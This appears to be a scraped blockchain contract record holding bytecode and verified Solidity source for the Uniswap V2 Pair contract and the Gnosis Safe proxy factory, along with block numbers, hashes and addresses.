000000000000000000000000090046dffffffffffffffffffffffffffff169173ffffffffffffffffffffffffffffffffffffffff8616916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b50506001600c5550565b60055473ffffffffffffffffffffffffffffffffffffffff1681565b60075473ffffffffffffffffffffffffffffffffffffffff1681565b42841015611b7b57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601260248201527f556e697377617056323a20455850495245440000000000000000000000000000604482015290519081900360640190fd5b60035473ffffffffffffffffffffffffffffffffffffffff80891660008181526004602090815260408083208054600180820190925582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98186015280840196909652958d166060860152608085018c905260a085019590955260c08085018b90528151808603909101815260e0850182528051908301207f19010000000000000000000000000000000000000000000000000000000000006101008601526101028501969096526101228085019690965280518085039096018652610142840180825286519683019690962095839052610162840180825286905260ff89166101828501526101a284018890526101c28401879052519193926101e2808201937fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe081019281900390910190855afa158015611cdc573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff811615801590611d5757508873ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b611dc257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f556e697377617056323a20494e56414c49445f5349474e415455524500000000604482015290519081900360640190fd5b611dcd89898961259c565b505050505050505050565b600260209081526000928352604080842090915290825290205481565b600c54600114611e6657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611fd49273ffffffffffffffffffffffffffffffffffffffff16916370a08231916024808301926020929190829003018186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d6020811015611f0757600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b158015611f7a57600080fd5b505afa158015611f8e573d6000803e3d6000fd5b505050506040513d6020811015611fa457600080fd5b50516008546dffffffffffffffffffffffffffff808216916e0100000000000000000000000000009004166122e0565b6001600c55565b604080518082018252601981527f7472616e7366657228616464726573732c75696e743235362900000000000000602091820152815173ffffffffffffffffffffffffffffffffffffffff85811660248301526044808301869052845180840390910181526064909201845291810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb000000000000000000000000000000000000000000000000000000001781529251815160009460609489169392918291908083835b602083106120e157805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe090920191602091820191016120a4565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612143576040519150601f19603f3d011682016040523d82523d6000602084013e612148565b606091505b5091509150818015612176575080511580612176575080806020019051602081101561217357600080fd5b50515b6121e157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f556e697377617056323a205452414e534645525f4641494c4544000000000000604482015290519081900360640190fd5b5050505050565b60008115806122035750508082028282828161220057fe5b04145b610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6d756c2d6f766572666c6f77000000000000000000000000604482015290519081900360640190fd5b80820382811115610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f64732d6d6174682d7375622d756e646572666c6f770000000000000000000000604482015290519081900360640190fd5b6dffffffffffffffffffffffffffff841180159061230c57506dffffffffffffffffffffffffffff8311155b61237757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f556e697377617056323a204f564552464c4f5700000000000000000000000000604482015290519081900360640190fd5b60085463ffffffff428116917c0100000000000000000000000000000000000000000000000000000000900481168203908116158015906123c757506dffffffffffffffffffffffffffff841615155b80156123e257506dffffffffffffffffffffffffffff831615155b15612492578063ffffffff16612425856123fb86612a57565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff169063ffffffff612a7b16565b600980547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff929092169290920201905563ffffffff8116612465846123fb87612a57565b600a80547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff92909216929092020190555b600880547fffffffffffffffffffffffffffffffffffff0000000000000000000000000000166dffffffffffffffffffffffffffff888116919091177fffffffff0000000000000000000000000000ffffffffffffffffffffffffffff166e0100000000000000000000000000008883168102919091177bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167c010000000000000000000000000000000000000000000000000000000063ffffffff871602179283905560408051848416815291909304909116602082015281517f1c411e9a96e071241c2f21f7726b17ae89e3cab4c78be50e062b03a9fffbbad1929181900390910190a1505050505050565b73ffffffffffffffffffffffffffffffffffffffff808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260016020526040902054612641908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff8085166000908152600160205260408082209390935590841681522054612683908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff80841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663017e7e586040518163ffffffff1660e01b815260040160206040518083038186803b15801561275757600080fd5b505afa15801561276b573d6000803e3d6000fd5b505050506040513d602081101561278157600080fd5b5051600b5473ffffffffffffffffffffffffffffffffffffffff821615801594509192509061286457801561285f5760006127d86112576dffffffffffffffffffffffffffff88811690881663ffffffff6121e816565b905060006127e583612878565b90508082111561285c576000612813612804848463ffffffff61226e16565b6000549063ffffffff6121e816565b905060006128388361282c86600563ffffffff6121e816565b9063ffffffff612abc16565b9050600081838161284557fe5b04905080156128585761285887826128ca565b5050505b50505b612870565b8015612870576000600b555b505092915050565b600060038211156128bb575080600160028204015b818110156128b5578091506002818285816128a457fe5b0401816128ad57fe5b04905061288d565b506128c5565b81156128c5575060015b919050565b6000546128dd908263ffffffff612abc16565b600090815573ffffffffffffffffffffffffffffffffffffffff8316815260016020526040902054612915908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff831660008181526001602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6000818310612989578161298b565b825b9392505050565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600160205260409020546129c8908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff831660009081526001602052604081209190915554612a02908263ffffffff61226e16565b600090815560408051838152905173ffffffffffffffffffffffffffffffffffffffff8516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a35050565b6dffffffffffffffffffffffffffff166e0100000000000000000000000000000290565b60006dffffffffffffffffffffffffffff82167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff841681612ab457fe5b049392505050565b80820182811015610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6164642d6f766572666c6f77000000000000000000000000604482015290519081900360640190fdfe556e697377617056323a20494e53554646494349454e545f4f55545055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f494e5055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f4c4951554944495459556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4255524e4544556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4d494e544544a265627a7a723158207dca18479e58487606bf70c79e44d8dee62353c9ee6d01f9a9d70885b8765f2264736f6c63430005100032
// File: contracts/interfaces/IUniswapV2Pair.sol pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // File: contracts/interfaces/IUniswapV2ERC20.sol pragma solidity >=0.5.0; interface IUniswapV2ERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; } // File: contracts/libraries/SafeMath.sol pragma solidity =0.5.16; // a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math) library SafeMath { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x, 'ds-math-add-overflow'); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x, 'ds-math-sub-underflow'); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow'); } } // File: contracts/UniswapV2ERC20.sol pragma solidity =0.5.16; contract UniswapV2ERC20 is IUniswapV2ERC20 { using SafeMath for uint; string public constant name = 'Uniswap V2'; string public constant symbol = 'UNI-V2'; uint8 public constant decimals = 18; uint public totalSupply; mapping(address => uint) public balanceOf; mapping(address => mapping(address => uint)) public allowance; bytes32 public DOMAIN_SEPARATOR; // keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9; mapping(address => uint) public nonces; event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); constructor() public { uint chainId; assembly { chainId := chainid } DOMAIN_SEPARATOR = keccak256( abi.encode( keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'), keccak256(bytes(name)), keccak256(bytes('1')), chainId, address(this) ) ); } function _mint(address to, uint value) internal { totalSupply = totalSupply.add(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(address(0), to, value); } function _burn(address from, uint value) internal { balanceOf[from] = balanceOf[from].sub(value); totalSupply = totalSupply.sub(value); emit Transfer(from, address(0), value); } function _approve(address owner, address spender, uint value) private { allowance[owner][spender] = value; emit Approval(owner, spender, value); } function _transfer(address from, address to, uint value) private { balanceOf[from] = balanceOf[from].sub(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(from, to, value); } function approve(address spender, uint value) external returns (bool) { _approve(msg.sender, spender, value); return true; } function transfer(address to, uint value) external returns (bool) { _transfer(msg.sender, to, value); return true; } function transferFrom(address from, address to, uint value) external returns (bool) { if (allowance[from][msg.sender] != uint(-1)) { allowance[from][msg.sender] = allowance[from][msg.sender].sub(value); } _transfer(from, to, value); return true; } function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external { require(deadline >= block.timestamp, 'UniswapV2: EXPIRED'); bytes32 digest = keccak256( abi.encodePacked( '\x19\x01', DOMAIN_SEPARATOR, keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline)) ) ); address recoveredAddress = ecrecover(digest, v, r, s); require(recoveredAddress != address(0) && recoveredAddress == owner, 'UniswapV2: INVALID_SIGNATURE'); _approve(owner, spender, value); } } // File: contracts/libraries/Math.sol pragma solidity =0.5.16; // a library for performing various math operations library Math { function min(uint x, uint y) internal pure returns (uint z) { z = x < y ? x : y; } // babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) function sqrt(uint y) internal pure returns (uint z) { if (y > 3) { z = y; uint x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } } } // File: contracts/libraries/UQ112x112.sol pragma solidity =0.5.16; // a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format)) // range: [0, 2**112 - 1] // resolution: 1 / 2**112 library UQ112x112 { uint224 constant Q112 = 2**112; // encode a uint112 as a UQ112x112 function encode(uint112 y) internal pure returns (uint224 z) { z = uint224(y) * Q112; // never overflows } // divide a UQ112x112 by a uint112, returning a UQ112x112 function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) { z = x / uint224(y); } } // File: contracts/interfaces/IERC20.sol pragma solidity >=0.5.0; interface IERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); } // File: contracts/interfaces/IUniswapV2Factory.sol pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // File: contracts/interfaces/IUniswapV2Callee.sol pragma solidity >=0.5.0; interface IUniswapV2Callee { function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external; } // File: contracts/UniswapV2Pair.sol pragma solidity =0.5.16; contract UniswapV2Pair is IUniswapV2Pair, UniswapV2ERC20 { using SafeMath for uint; using UQ112x112 for uint224; uint public constant MINIMUM_LIQUIDITY = 10**3; bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)'))); address public factory; address public token0; address public token1; uint112 private reserve0; // uses single storage slot, accessible via getReserves uint112 private reserve1; // uses single storage slot, accessible via getReserves uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves uint public price0CumulativeLast; uint public price1CumulativeLast; uint public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event uint private unlocked = 1; modifier lock() { require(unlocked == 1, 'UniswapV2: LOCKED'); unlocked = 0; _; unlocked = 1; } function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) { _reserve0 = reserve0; _reserve1 = reserve1; _blockTimestampLast = blockTimestampLast; } function _safeTransfer(address token, address to, uint value) private { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'UniswapV2: TRANSFER_FAILED'); } event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); constructor() public { factory = msg.sender; } // called once by the factory at time of deployment function initialize(address _token0, address _token1) external { require(msg.sender == factory, 'UniswapV2: FORBIDDEN'); // sufficient check token0 = _token0; token1 = _token1; } // update reserves and, on the first call per block, price accumulators function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private { require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'UniswapV2: OVERFLOW'); uint32 blockTimestamp = uint32(block.timestamp % 2**32); uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) { // * never overflows, and + overflow is desired price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed; price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed; } reserve0 = uint112(balance0); reserve1 = uint112(balance1); blockTimestampLast = blockTimestamp; emit Sync(reserve0, reserve1); } // if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k) function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) { address feeTo = IUniswapV2Factory(factory).feeTo(); feeOn = feeTo != address(0); uint _kLast = kLast; // gas savings if (feeOn) { if (_kLast != 0) { uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1)); uint rootKLast = Math.sqrt(_kLast); if (rootK > rootKLast) { uint numerator = totalSupply.mul(rootK.sub(rootKLast)); uint denominator = rootK.mul(5).add(rootKLast); uint liquidity = numerator / denominator; if (liquidity > 0) _mint(feeTo, liquidity); } } } else if (_kLast != 0) { kLast = 0; } } // this low-level function should be called from a contract which performs important safety checks function mint(address to) external lock returns (uint liquidity) { (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings uint balance0 = IERC20(token0).balanceOf(address(this)); uint balance1 = IERC20(token1).balanceOf(address(this)); uint amount0 = balance0.sub(_reserve0); uint amount1 = balance1.sub(_reserve1); bool feeOn = _mintFee(_reserve0, _reserve1); uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee if (_totalSupply == 0) { liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY); _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens } else { liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1); } require(liquidity > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_MINTED'); _mint(to, liquidity); _update(balance0, balance1, _reserve0, _reserve1); if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date emit Mint(msg.sender, amount0, amount1); } // this low-level function should be called from a contract which performs important safety checks function burn(address to) external lock returns (uint amount0, uint amount1) { (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings address _token0 = token0; // gas savings address _token1 = token1; // gas savings uint balance0 = IERC20(_token0).balanceOf(address(this)); uint balance1 = IERC20(_token1).balanceOf(address(this)); uint liquidity = balanceOf[address(this)]; bool feeOn = _mintFee(_reserve0, _reserve1); uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution require(amount0 > 0 && amount1 > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED'); _burn(address(this), liquidity); _safeTransfer(_token0, to, amount0); _safeTransfer(_token1, to, amount1); balance0 = IERC20(_token0).balanceOf(address(this)); balance1 = IERC20(_token1).balanceOf(address(this)); _update(balance0, balance1, _reserve0, _reserve1); if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date emit Burn(msg.sender, amount0, amount1, to); } // this low-level function should be called from a contract which performs important safety checks function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock { require(amount0Out > 0 || amount1Out > 0, 'UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT'); (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings require(amount0Out < _reserve0 && amount1Out < _reserve1, 'UniswapV2: INSUFFICIENT_LIQUIDITY'); uint balance0; uint balance1; { // scope for _token{0,1}, avoids stack too deep errors address _token0 = token0; address _token1 = token1; require(to != _token0 && to != _token1, 'UniswapV2: INVALID_TO'); if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data); balance0 = IERC20(_token0).balanceOf(address(this)); balance1 = IERC20(_token1).balanceOf(address(this)); } uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0; uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0; require(amount0In > 0 || amount1In > 0, 'UniswapV2: INSUFFICIENT_INPUT_AMOUNT'); { // scope for reserve{0,1}Adjusted, avoids stack too deep errors uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3)); uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3)); require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K'); } _update(balance0, balance1, _reserve0, _reserve1); emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to); } // force balances to match reserves function skim(address to) external lock { address _token0 = token0; // gas savings address _token1 = token1; // gas savings _safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0)); _safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1)); } // force reserves to match balances function sync() external lock { _update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1); } }
1
19,493,285
693d20cdb73b689a2777ceaf7f868baffe08674c5bc00013c80fdca3911549a7
eac02b053ae01ea6c389c2c625e9b13acf6ad3d4278c7e7249e63406dd6f51b2
fcd98e8d5c541c0412e928f1b6aa79d40eeec424
a6b71e26c5e0845f74c812102ca7114b6a896ab2
3ac6ae8f6527600167ebfbed48110907503eb099
608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
// SPDX-License-Identifier: LGPL-3.0-only pragma solidity >=0.7.0 <0.9.0; /// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain /// @author Richard Meissner - <[email protected]> interface IProxy { function masterCopy() external view returns (address); } /// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract. /// @author Stefan George - <[email protected]> /// @author Richard Meissner - <[email protected]> contract GnosisSafeProxy { // singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated. // To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt` address internal singleton; /// @dev Constructor function sets address of singleton contract. /// @param _singleton Singleton address. constructor(address _singleton) { require(_singleton != address(0), "Invalid singleton address provided"); singleton = _singleton; } /// @dev Fallback function forwards all transactions and returns all received return data. fallback() external payable { // solhint-disable-next-line no-inline-assembly assembly { let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff) // 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) { mstore(0, _singleton) return(0, 0x20) } calldatacopy(0, 0, calldatasize()) let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) if eq(success, 0) { revert(0, returndatasize()) } return(0, returndatasize()) } } } /// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @author Stefan George - <[email protected]> contract GnosisSafeProxyFactory { event ProxyCreation(GnosisSafeProxy proxy, address singleton); /// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @param singleton Address of singleton contract. /// @param data Payload for message call sent to new proxy contract. function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) { proxy = new GnosisSafeProxy(singleton); if (data.length > 0) // solhint-disable-next-line no-inline-assembly assembly { if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) { revert(0, 0) } } emit ProxyCreation(proxy, singleton); } /// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed. function proxyRuntimeCode() public pure returns (bytes memory) { return type(GnosisSafeProxy).runtimeCode; } /// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address. function proxyCreationCode() public pure returns (bytes memory) { return type(GnosisSafeProxy).creationCode; } /// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer. /// This method is only meant as an utility to be called from other methods /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function deployProxyWithNonce( address _singleton, bytes memory initializer, uint256 saltNonce ) internal returns (GnosisSafeProxy proxy) { // If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce)); bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton))); // solhint-disable-next-line no-inline-assembly assembly { proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt) } require(address(proxy) != address(0), "Create2 call failed"); } /// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function createProxyWithNonce( address _singleton, bytes memory initializer, uint256 saltNonce ) public returns (GnosisSafeProxy proxy) { proxy = deployProxyWithNonce(_singleton, initializer, saltNonce); if (initializer.length > 0) // solhint-disable-next-line no-inline-assembly assembly { if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) { revert(0, 0) } } emit ProxyCreation(proxy, _singleton); } /// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. /// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized. function createProxyWithCallback( address _singleton, bytes memory initializer, uint256 saltNonce, IProxyCreationCallback callback ) public returns (GnosisSafeProxy proxy) { uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback))); proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback); if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce); } /// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce` /// This method is only meant for address calculation purpose when you use an initializer that would revert, /// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory. /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function calculateCreateProxyWithNonceAddress( address _singleton, bytes calldata initializer, uint256 saltNonce ) external returns (GnosisSafeProxy proxy) { proxy = deployProxyWithNonce(_singleton, initializer, saltNonce); revert(string(abi.encodePacked(proxy))); } } interface IProxyCreationCallback { function proxyCreated( GnosisSafeProxy proxy, address _singleton, bytes calldata initializer, uint256 saltNonce ) external; }
1
19,493,289
2427829ec7445191dccc43b91757873bee4bbd4a68cc3dde12c39c34fdd3f5ec
9dbf15b4bd6d23ad969a0d413bcaee3eeb04d265ab560776baf30df91f578088
2efc64e8dd57f9418999e610092d64af528a412d
2efc64e8dd57f9418999e610092d64af528a412d
7868af65cfd85bf79c13301c08d8fd32f2ad6ce9
